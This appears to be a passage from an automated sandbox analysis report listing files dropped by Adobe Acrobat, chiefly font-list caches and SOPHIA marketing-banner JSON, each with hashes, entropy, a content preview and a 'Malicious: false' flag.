Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5548

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.347788294565704
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLB+/nZiQ0YeOqoAvJM3g98kUwPeUkwRe9:YvXKXyB+/cZOZGMbLUkee9
MD5:	346545514A2649A85E000ECF08A8EB49
SHA1:	DA55502A0DB4E3D985DF2DDB97B94C5CD5199A0D
SHA-256:	5DCA0D15EF15CBDC527BD46BD379090312DE3B8A374D69D1ED96F1F83803068C
SHA-512:	1117C7FDF092CF54D431030B8DD02501B4473915D99A2CDFEBC5AC927180FE0BA1DF2054B4D6F86A29ADB30178D03BBB8477C5EDF2348CD2DB235C8055598BCF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29778722169616
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLB+/nZiQ0YeOqoAvJfBoTfXpnrPeUkwRe9:YvXKXyB+/cZOZGWTfXcUkee9
MD5:	D5209642273BBC0FCF0F8BF1AAFBD79C
SHA1:	885160087F4511D519834898C21A076336B72492
SHA-256:	7164976DFFCCA9DB66B95B144BDD0B5019865B5CC09DF13763B6752667684E9A
SHA-512:	74E45F7E4C1E1D33A28E4F76B8195283301F9B26353B65B87D25DAD15A48165F200DEEE3B585057B8B4E7B7A54373D5080CD69CD4294D5944277F47ECA62F3F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2755482920679855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLB+/nZiQ0YeOqoAvJfBD2G6UpnrPeUkwRe9:YvXKXyB+/cZOZGR22cUkee9
MD5:	880A625559E9379A881A87EFC96B43B3
SHA1:	A0E5E490A46823CB0EA2F88A3CBA287306E8DFF5
SHA-256:	0BB8117D7FA79E8D00DD507F72622ED28E6B5FB543F4DC7FE2F1F29B688B55A5
SHA-512:	75E32F267A84CA030A5B4538C0A1415CA63289407915ECBA0A6C5FA48366A9671892915F61025B8E35093C07D68CBCCE6258176745836CB2DB637C05F3868E30
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.32726437578222
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLB+/nZiQ0YeOqoAvJfPmwrPeUkwRe9:YvXKXyB+/cZOZGH56Ukee9
MD5:	CC4654439F667D31279C513ED7158DBC
SHA1:	07469581031055F7CF54F540B429DE620121B978
SHA-256:	37B0BFEDF2E4C48C71382E27BCDF3C19827129E20217AB23DBBC72CDD954F9C8
SHA-512:	A990FEC9B87F439722E14CE71340BEDBA6B88D889598D8EFCF941775499A404B155FC37DA86F15745CABFAC7D85962848155F747DEB8D0FE769E9BC6BE263234
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686313794675731
Encrypted:	false
SSDEEP:	24:Yv6XS+k0+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSf:Yvp+h+hgy6SAFv5Ah8cv/f
MD5:	E755C60136634F1EF1FEC5C78F6449B2
SHA1:	80AF97BAFE35C9091BB87F9B4A489C1FF83AF9C7
SHA-256:	12254B0E4D875B72763E539616DDD41BD7989086319440E7D83A1D0F21C0CD98
SHA-512:	2BC8C35E36824456EC4420E0A7B2FDC79E745BCD3C066696FB6AC72B2D464988D44CC11F9FA591FEB4A52A14C6DD20689DD564D7910655710000BC5333AF3610
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2756137681584185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLB+/nZiQ0YeOqoAvJf8dPeUkwRe9:YvXKXyB+/cZOZGU8Ukee9
MD5:	2E2F5CDD5CD73AE9C5399B3D0454EF77
SHA1:	04726075B750CFB44E750F8822F60B65A8D21D58
SHA-256:	26DD3BF143564605760E0F30A9DAA3C4BB555F6A731EF64BAAA7E3A882A26C08
SHA-512:	1FF7FF7670E8FE62133E9E40D233506F13FED8F5AED6EEB432686A5912DFA6546BA158E6530C19E9958567512F05BE8DE9A563A063A6F3F48D9A374B9CE32C79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.278516563779071
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLB+/nZiQ0YeOqoAvJfQ1rPeUkwRe9:YvXKXyB+/cZOZGY16Ukee9
MD5:	54C5BB90E516D102D0916CD4BB9F5F20
SHA1:	4718BF6234A48A0EF5C878C6D21999D4CB9D1BE0
SHA-256:	BDCB483A492896EB00B513FED7A310B51DB1ADCE8254AB8147E7F2FFF47A0F3D
SHA-512:	B7256BD2A3F5AB79D0BF52BA445555382F1F6B02353B23EF37A709516ACB0BB166EEE7E6758EFEF1A06E97AA83A481F689F1408089A1E68F63900ED1B143DD47
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286969239279288
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLB+/nZiQ0YeOqoAvJfFldPeUkwRe9:YvXKXyB+/cZOZGz8Ukee9
MD5:	2DB6B2BB30AE8ED6A6BBD8C7DFBEC33D
SHA1:	744152FEE5D01007915F7F63E3215EC61DB7E256
SHA-256:	83707E6D86A6BE93A135F38081BC2D9530C80A8BE59CA37EBCF87BBD0D075568
SHA-512:	01E6A5800E97410BAFBFCFBC7105A602D41DD867759161602EE0B1EF5F839B564F932947123A2F7B99023E02AD91E8F4FD993ED2712EAFD3C6E145961471DDC0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.303639544730802
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLB+/nZiQ0YeOqoAvJfzdPeUkwRe9:YvXKXyB+/cZOZGb8Ukee9
MD5:	229F17F5AD1D488772CD3E9058FAEBD2
SHA1:	3DCBF32648E18320CDD614B6DDF0AF1303B241B3
SHA-256:	888440CA4DC5F81F55A24E0F445807B46E7333917766D73914A973B2BECD8492
SHA-512:	6DFCD2B1F3F21CDE710F06708B1AAD55E8A7E152B9049356513F9E1B7243A6088D2C15EB2B304C16B210139338E8D307306FCE5919E99EC6F38728776829EDD0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283956836095747
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLB+/nZiQ0YeOqoAvJfYdPeUkwRe9:YvXKXyB+/cZOZGg8Ukee9
MD5:	7542D43B8887F625C09BDA966E2EE756
SHA1:	F02812E232868BEEA5DF8931D1336280E0C92DF0
SHA-256:	ED933C5CB8448C85A62576905C5958073E1015EAA4662232AA3A2CBA51AC6E1A
SHA-512:	2E044C055FE8B88B448C3FE883A04E40C106ACE9E6E7F10CF257D371B31F8A32C0B3964549A39D19FC37B7B11799CCD45C72D910FCB2693833A2C3C50024C66E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.270023749777525
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLB+/nZiQ0YeOqoAvJf+dPeUkwRe9:YvXKXyB+/cZOZG28Ukee9
MD5:	DC27D50C6BC52D60DB52AB735E5A631A
SHA1:	5CB8FCB5581B9095BB824ED59605ECBB502EF996
SHA-256:	2EB7817FE560364B6A4AAF3F70D7DCC8C6F4C8064D2DA4282BE59B764D5E1264
SHA-512:	FAA0CAA242DF1FBE7F0BD7ED3834020AEBED8E8F694B977BB8453C77879D1B2F6688968F96569765CF0BB7F46E0E38C68D69E5EBEA3EBA6B052244E4E8D66A60
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.267614196064485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLB+/nZiQ0YeOqoAvJfbPtdPeUkwRe9:YvXKXyB+/cZOZGDV8Ukee9
MD5:	058BAD11BA96D930FDE055239A96B150
SHA1:	76B86172F272B253DE64C8DFCBB2391B9611A0CF
SHA-256:	D41D30F4261E9AEC18B3F2C0F60BB1A1608B65F5F4D2C5836CD21D2A16225C74
SHA-512:	BD821041AB437277177CB375B53AA120327866DB14DE697D18B31033AD15140085C1A2B7EB8C818EF5458DEB1C28535A7C35D2284EC8EDFCBFFDDB6E175F6067
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.270773455031589
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLB+/nZiQ0YeOqoAvJf21rPeUkwRe9:YvXKXyB+/cZOZG+16Ukee9
MD5:	8EAF85A422FE0CA1B080A78877572F1A
SHA1:	FA1BDD2BC914AA77B38254605025B6AD010C8EC9
SHA-256:	3A5FC00205812857408FDDC40D74EFBE3FBD1B14083ED39EA72D7B5B3F0CC504
SHA-512:	365AC7DB20E1CD246E107751376796FF18701F72EC7EF79BFF18ABE4149DE2E0D7CC85356B32979456A64A8939EF23788AEFDF7593191D0534EAF839B4110C6D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661312122905196
Encrypted:	false
SSDEEP:	24:Yv6XS+k0iamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSf:Yvp+h8BgkDMUJUAh8cvMf
MD5:	76EC4189181D7247851772187A74665F
SHA1:	8CD11393DE8C898C32B4FF4CFE2C60B3C5100976
SHA-256:	F5B10B69912B1DAF6BDAC3CFA30D5EDD4255059E71527DEBAFF36E499DA0916A
SHA-512:	7762670AF5E0BBA373DC8EAE44ADF1945CF8D82D5E0636EA2379F7EF38F4E1D4222583131DFC5309D0E2B7EC2195081F6CB13C91083A2AC0B1A0500588440EA4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.247628447450302
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLB+/nZiQ0YeOqoAvJfshHHrPeUkwRe9:YvXKXyB+/cZOZGUUUkee9
MD5:	9155F50A2E62BBE8405AF447C2A2A00B
SHA1:	B868C5F6E42EF67B0868A7F6E800CE0D3106A4C4
SHA-256:	4E56D931103804A0E0C5361C1DACEBA5BF382E70311E30060EFF7E52AC7574F8
SHA-512:	33BFBD16087B7AF5E6FF7451A9B47EF6CB8527AA9411279CC3ADC78229E53CCE0A8E30531E90C71C20C33C4916E330D7D1F1573D5BBDEA08824697C11706E6CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.255611056956468
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLB+/nZiQ0YeOqoAvJTqgFCrPeUkwRe9:YvXKXyB+/cZOZGTq16Ukee9
MD5:	BCC87571D24F37C4A3100C9A105579C7
SHA1:	153B463A98EFD7282B216AA70FF615C7888BCF3F
SHA-256:	4EDE191B31E8C5DEC2EED46D3C3F6B56D92EDE217A3C4A6F29C42E753090FE73
SHA-512:	9955F0F417D8539B729B345AE6F35F37B270FDB8A9BBE81B8E098099B3B5C00273F9984A1F7AFA81598340978B37EE022178DDA01B7CA2ADB4592DB30F748A7F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c64c35b7-7c42-4ff5-addb-e335ca434fe0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722174117,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132067003651183
Encrypted:	false
SSDEEP:	24:YbELlaxdayz5xLUsVqZdxGpWASbj7lVj0Spl0V2MC8DAG2LSrCPrxGGty2LK5+1o:YZvVOdx7PnUW8f5GxGGty2mW9A
MD5:	5135AAB73612BA0D3B68CF5AFAE907C9
SHA1:	5A4934202DC19E78CEF0A12B6095133281646407
SHA-256:	C09628484F18F6C0231C2C08EC859C99C6D5B168266E02A04CF2AEFFA7B1FF54
SHA-512:	832E294C9FD725A17DC9FFE61A79602F2C7E92BD6CA20C5152CD137C73C3FCB55FC63FE67F12429DB3EAA46BC2DE92426F1108D2A42BE28F535D21DAC7560A17
Malicious:	false
